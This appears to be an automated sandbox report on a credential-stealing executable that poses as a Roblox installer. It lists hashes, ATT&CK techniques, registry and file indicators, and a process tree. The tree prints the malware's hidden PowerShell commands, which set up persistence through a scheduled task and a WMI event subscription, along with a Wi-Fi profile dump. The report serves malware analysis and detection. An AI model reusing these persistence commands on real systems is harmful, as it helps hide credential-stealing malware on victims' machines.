f69d68b65a05f873262eab8fa74e94f285c8be35741763bf7f0adb7bdf6d1048

Analysis

user interaction
yes
max time kernel
569s
max time network
472s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 19:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Roblox-windows-amd64-b10ef714.exe
Size 16.1MB
Sample261024-ynb8ssbz41
SHA256 f69d68b65a05f873262eab8fa74e94f285c8be35741763bf7f0adb7bdf6d1048
MD5 21219895459a0de4c0a7d64e47c56534
SHA1 1650818902611c105efc898fdeb691d196c7df2a
SHA512 368a0800ca95752f6cabd7b2067495e3f9d24817dc2d8a496214f4c1949e263dd9f886c493957858eb5917e2192cf9917b217754fd679789824b0fdb08b5fba9
SSDEEP 98304:RAS+MhpURvSH4F7t56SRULhmXlZDG6cc8AtFE3L5Nmm+KQ6DV6xh/alXHj:J5zOSHARXlJGbpJDA/alXD
TLSH
T136074A17E86605E9C0ADC6358566A663BB307C89473123D71B90F6247F3BBD0AEFA314
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5028	powershell.exe
2348	powershell.exe
4692	powershell.exe
1856	powershell.exe
1868	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-1687356383.tmp	Roblox-windows-amd64-b10ef714.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-100301951.tmp	ovd.exe

Executes dropped EXE 1 IoCs

pid	Process
3760	ovd.exe

Loads dropped DLL 1 IoCs

pid	Process
2404	Roblox-windows-amd64-b10ef714.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinagentAgent-4db41000 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd.exe\""	Roblox-windows-amd64-b10ef714.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinagentAgent-4db41000 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd.exe\""	ovd.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
19	api.ipify.org
20	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Roblox-windows-amd64-b10ef714.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Roblox-windows-amd64-b10ef714.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2032	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2576	chrome.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Roblox-windows-amd64-b10ef714.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Roblox-windows-amd64-b10ef714.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-240542094-4193773837-3211495583-1000\{98E16E9C-9DD0-4107-80C8-C47A66809EE5}	Roblox-windows-amd64-b10ef714.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
2348	powershell.exe
2348	powershell.exe
4692	powershell.exe
4692	powershell.exe
1856	powershell.exe
1856	powershell.exe
2404	Roblox-windows-amd64-b10ef714.exe
2404	Roblox-windows-amd64-b10ef714.exe
2404	Roblox-windows-amd64-b10ef714.exe
2404	Roblox-windows-amd64-b10ef714.exe
2404	Roblox-windows-amd64-b10ef714.exe
2404	Roblox-windows-amd64-b10ef714.exe
760	chrome.exe
760	chrome.exe
2404	Roblox-windows-amd64-b10ef714.exe
2404	Roblox-windows-amd64-b10ef714.exe
2404	Roblox-windows-amd64-b10ef714.exe
2404	Roblox-windows-amd64-b10ef714.exe
2404	Roblox-windows-amd64-b10ef714.exe
2404	Roblox-windows-amd64-b10ef714.exe
1868	powershell.exe
1868	powershell.exe
5028	powershell.exe
5028	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeIncreaseQuotaPrivilege	2348	powershell.exe
Token: SeSecurityPrivilege	2348	powershell.exe
Token: SeTakeOwnershipPrivilege	2348	powershell.exe
Token: SeLoadDriverPrivilege	2348	powershell.exe
Token: SeSystemProfilePrivilege	2348	powershell.exe
Token: SeSystemtimePrivilege	2348	powershell.exe
Token: SeProfSingleProcessPrivilege	2348	powershell.exe
Token: SeIncBasePriorityPrivilege	2348	powershell.exe
Token: SeCreatePagefilePrivilege	2348	powershell.exe
Token: SeBackupPrivilege	2348	powershell.exe
Token: SeRestorePrivilege	2348	powershell.exe
Token: SeShutdownPrivilege	2348	powershell.exe
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeSystemEnvironmentPrivilege	2348	powershell.exe
Token: SeRemoteShutdownPrivilege	2348	powershell.exe
Token: SeUndockPrivilege	2348	powershell.exe
Token: SeManageVolumePrivilege	2348	powershell.exe
Token: 33	2348	powershell.exe
Token: 34	2348	powershell.exe
Token: 35	2348	powershell.exe
Token: 36	2348	powershell.exe
Token: SeDebugPrivilege	4692	powershell.exe
Token: SeIncreaseQuotaPrivilege	2348	powershell.exe
Token: SeSecurityPrivilege	2348	powershell.exe
Token: SeTakeOwnershipPrivilege	2348	powershell.exe
Token: SeLoadDriverPrivilege	2348	powershell.exe
Token: SeSystemProfilePrivilege	2348	powershell.exe
Token: SeSystemtimePrivilege	2348	powershell.exe
Token: SeProfSingleProcessPrivilege	2348	powershell.exe
Token: SeIncBasePriorityPrivilege	2348	powershell.exe
Token: SeCreatePagefilePrivilege	2348	powershell.exe
Token: SeBackupPrivilege	2348	powershell.exe
Token: SeRestorePrivilege	2348	powershell.exe
Token: SeShutdownPrivilege	2348	powershell.exe
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeSystemEnvironmentPrivilege	2348	powershell.exe
Token: SeRemoteShutdownPrivilege	2348	powershell.exe
Token: SeUndockPrivilege	2348	powershell.exe
Token: SeManageVolumePrivilege	2348	powershell.exe
Token: 33	2348	powershell.exe
Token: 34	2348	powershell.exe
Token: 35	2348	powershell.exe
Token: 36	2348	powershell.exe
Token: SeIncreaseQuotaPrivilege	2348	powershell.exe
Token: SeSecurityPrivilege	2348	powershell.exe
Token: SeTakeOwnershipPrivilege	2348	powershell.exe
Token: SeLoadDriverPrivilege	2348	powershell.exe
Token: SeSystemProfilePrivilege	2348	powershell.exe
Token: SeSystemtimePrivilege	2348	powershell.exe
Token: SeProfSingleProcessPrivilege	2348	powershell.exe
Token: SeIncBasePriorityPrivilege	2348	powershell.exe
Token: SeCreatePagefilePrivilege	2348	powershell.exe
Token: SeBackupPrivilege	2348	powershell.exe
Token: SeRestorePrivilege	2348	powershell.exe
Token: SeShutdownPrivilege	2348	powershell.exe
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeSystemEnvironmentPrivilege	2348	powershell.exe
Token: SeRemoteShutdownPrivilege	2348	powershell.exe
Token: SeUndockPrivilege	2348	powershell.exe
Token: SeManageVolumePrivilege	2348	powershell.exe
Token: 33	2348	powershell.exe
Token: 34	2348	powershell.exe
Token: 35	2348	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
760	chrome.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 2348	2404	Roblox-windows-amd64-b10ef714.exe	84
PID 3760 wrote to memory of 4692	3760	ovd.exe	89
PID 3760 wrote to memory of 1856	3760	ovd.exe	94
PID 2404 wrote to memory of 760	2404	Roblox-windows-amd64-b10ef714.exe	103
PID 2404 wrote to memory of 760	2404	Roblox-windows-amd64-b10ef714.exe	103
PID 760 wrote to memory of 2124	760	chrome.exe	104
PID 760 wrote to memory of 3588	760	chrome.exe	105
PID 760 wrote to memory of 2576	760	chrome.exe	106
PID 760 wrote to memory of 1424	760	chrome.exe	107
PID 760 wrote to memory of 2164	760	chrome.exe	108
PID 760 wrote to memory of 4728	760	chrome.exe	109
PID 760 wrote to memory of 4300	760	chrome.exe	111
PID 760 wrote to memory of 1460	760	chrome.exe	112
PID 760 wrote to memory of 744	760	chrome.exe	113
PID 760 wrote to memory of 4732	760	chrome.exe	114
PID 760 wrote to memory of 4364	760	chrome.exe	115
PID 2404 wrote to memory of 2032	2404	Roblox-windows-amd64-b10ef714.exe	117
PID 2404 wrote to memory of 760	2404	Roblox-windows-amd64-b10ef714.exe	103
PID 760 wrote to memory of 4032	760	chrome.exe	119
PID 760 wrote to memory of 732	760	chrome.exe	120
PID 760 wrote to memory of 1516	760	chrome.exe	121
PID 760 wrote to memory of 4180	760	chrome.exe	122
PID 2404 wrote to memory of 1868	2404	Roblox-windows-amd64-b10ef714.exe	123
PID 2404 wrote to memory of 5028	2404	Roblox-windows-amd64-b10ef714.exe	125

C:\Users\Admin\AppData\Local\Temp\Roblox-windows-amd64-b10ef714.exe
"C:\Users\Admin\AppData\Local\Temp\Roblox-windows-amd64-b10ef714.exe"
1⤵
- Creates a file in the Startup directory
- Loads dropped DLL
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_4fd04fd0' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2348
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x18c,0x190,0x194,0x168,0x198,0x7ffd2c19c728,0x7ffd2c19c734,0x7ffd2c19c740
    3⤵
    PID:2124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1920 /prefetch:2
    3⤵
    PID:3588
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --force-high-res-timeticks=disabled --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:3
    3⤵
    - System Time Discovery
    PID:2576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --force-high-res-timeticks=disabled --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:8
    3⤵
    PID:1424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:1
    3⤵
    PID:2164
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2736 /prefetch:1
    3⤵
    PID:4728
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3048 /prefetch:1
    3⤵
    PID:4300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3156 /prefetch:2
    3⤵
    PID:1460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3260 /prefetch:2
    3⤵
    PID:744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3372 /prefetch:1
    3⤵
    PID:4732
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4036 /prefetch:2
    3⤵
    PID:4364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --force-high-res-timeticks=disabled --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4652 /prefetch:8
    3⤵
    PID:4032
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --force-high-res-timeticks=disabled --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=732 /prefetch:8
    3⤵
    PID:732
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --force-high-res-timeticks=disabled --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4668 /prefetch:8
    3⤵
    PID:1516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome760240744968" --force-high-res-timeticks=disabled --field-trial-handle=1924,i,6032205672691004682,6694327845783838059,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4648 /prefetch:8
    3⤵
    PID:4180
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-ScheduledTask -ErrorAction SilentlyContinue | Where-Object { $_.TaskName -like 'ovd*' } | Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding -ErrorAction SilentlyContinue | Where-Object { $_.Filter -like \"*ovd*\" } | Remove-WmiObject -ErrorAction SilentlyContinue; Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -ErrorAction SilentlyContinue | Where-Object { $_.Name -like \"ovd*\" } | Remove-WmiObject -ErrorAction SilentlyContinue; Get-WmiObject -Namespace root\subscription -Class __EventFilter -ErrorAction SilentlyContinue | Where-Object { $_.Name -like \"ovd*\" } | Remove-WmiObject -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5028

C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe"
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_4fd04fd0' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f4fd04fd0'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c4fd04fd0'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f4fd04fd0'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c4fd04fd0'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1856

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x494 0x498
1⤵
PID:4860

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2320

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2428

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
TLSH
T1DC51FE323375F0D4C8567F07293819D463BF4386EA94AF58B258621ED93641B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 ff793d25a7fbf3d256023097845d128c896f1a9629d3085497514a88cdda47d8
MD5 aadaa9c3e051e8d953cc06a565bbcc07
SHA1 7f0cf8c2b97f64f47927a1acb46044b862824e7c
SHA512 d5ed471aaa7d31f15f5b3a58381b7841eeb4d85e6570914ebc7798e757ee1f2cdcb99e1e1a070659fd40bfdb70007a51f22a50335fba04a7e1851d622b9098aa
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

